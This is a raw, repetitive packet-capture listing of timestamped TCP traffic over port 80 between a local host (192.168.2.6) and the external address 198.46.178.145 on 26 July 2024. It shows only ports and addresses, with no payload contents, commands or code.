Jul 26, 2024 11:27:11.098040104 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.098088980 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.098145008 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.098155022 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.098174095 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.098186970 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.098192930 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.098201036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.098212004 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.098216057 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.099102974 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.099112988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.099119902 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.099128008 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.099140882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.099148989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.099154949 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.099163055 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.099174976 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.099184036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.099214077 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.100048065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.100059986 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.100065947 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.100074053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.100085020 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.100089073 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.100095987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.100107908 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.100114107 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.100121975 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.100131035 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.100155115 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.100503922 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.101008892 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.101018906 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.101030111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.101042032 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.101051092 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.101057053 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.101068974 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.101078987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.101083994 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.101092100 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.101145029 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.101145029 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.101891041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.101901054 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.101932049 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.101942062 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.101948023 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.101958036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.101963997 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.101972103 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.102021933 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.102021933 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.110905886 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.110961914 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.111007929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.111016989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.111056089 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.111076117 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.111210108 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.111263990 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.111273050 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.111279964 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.111288071 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.111296892 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.111325979 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.111737013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.111787081 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.112552881 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.112584114 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.112592936 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.112611055 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.112739086 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.112782001 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.112797022 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.112854004 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.112869024 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.113045931 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.113094091 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.129143953 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.129203081 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.129221916 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.129231930 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.129262924 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.129492998 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.129503012 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.129512072 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.129522085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.129549980 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.129586935 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.169301987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.169342041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.169383049 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.169413090 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.169414043 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.169433117 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.169444084 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.169482946 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.169508934 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.169516087 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.169548988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.169560909 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.169560909 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.169594049 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.169596910 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.169687033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.170044899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.170054913 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.170063019 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.170072079 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.170082092 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.170089960 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.170092106 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.170150995 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.170831919 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.170841932 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.170850039 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.170859098 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.170866966 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.170875072 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.170883894 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.170886040 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.170918941 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.170972109 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.171483994 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.171494007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.171502113 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.171510935 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.171519041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.171526909 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.171535015 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.171538115 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.171737909 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.185451031 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.185525894 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.185529947 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.185547113 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.185573101 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.185610056 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.185683966 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.185693979 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.185717106 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.185842991 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.185925007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.185936928 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.185946941 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.185976982 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.186002016 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.186247110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.186374903 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.186377048 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.186429024 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.186449051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.186460018 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.186500072 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.186534882 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.186696053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.186707020 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.186768055 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.186768055 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.186976910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.187057972 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.187071085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.187077999 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.187108040 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.187282085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.187294960 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.187302113 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.187331915 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.187354088 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.187551022 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.187565088 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.187576056 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.187586069 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.187596083 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.187597990 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.187633038 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.188236952 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.188252926 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.188265085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.188276052 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.188287020 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.188287973 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.188297033 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.188308001 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.188319921 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.188334942 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.188371897 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.189177036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.189193964 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.189205885 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.189218044 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.189229965 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.189232111 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.189241886 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.189254045 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.189265013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.189286947 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.189529896 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.190119982 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.190135956 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.190148115 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.190159082 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.190170050 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.190176010 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.190181017 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.190193892 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.190205097 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.190207958 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.190216064 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.190272093 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.191028118 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.191044092 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.191056013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.191066027 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.191076994 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.191086054 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.191088915 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.191099882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.191112041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.191123009 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.191426992 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.191952944 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.191968918 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.191981077 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.191992998 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.192003965 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.192008018 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.192014933 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.192025900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.192039013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.192049026 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.192204952 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.201415062 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.201448917 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.201467991 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.201493979 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.201562881 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.201575994 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.201601982 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.201666117 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.201843023 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.201855898 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.201868057 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.201919079 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.201919079 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.202100039 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.202245951 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.202256918 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.202263117 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.202307940 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.202342987 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.202528000 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.202541113 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.202553034 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.202564001 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.202579975 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.202603102 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.202899933 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.202951908 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.219921112 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.219963074 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.219974995 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.219979048 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.220026016 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.220026016 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.220218897 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.220233917 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.220247030 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.220272064 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.220328093 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.220591068 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.220690966 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.259937048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.259955883 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.259969950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.259989977 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.260021925 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.260046959 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.260128021 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.260143042 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.260148048 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.260174036 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.260195971 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.260400057 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.260449886 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.260632038 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.260646105 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.260658979 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.260670900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.260679960 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.260684967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.260703087 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.260741949 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.261147976 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.261158943 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.261204004 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.261270046 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.261389017 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.261403084 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.261420965 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.261428118 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.261432886 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.261451960 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.261456966 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.261464119 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.261476994 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.261482954 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.261490107 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.261667013 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.262329102 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.262345076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.262351036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.262355089 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.262367010 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.262373924 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.262382984 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.262420893 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.277235985 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.277275085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.277288914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.277304888 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.277378082 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.277561903 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.277578115 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.277590990 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.277616024 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.277846098 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:11.277859926 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:11.277908087 CEST	49741	80	192.168.2.6	198.46.178.145
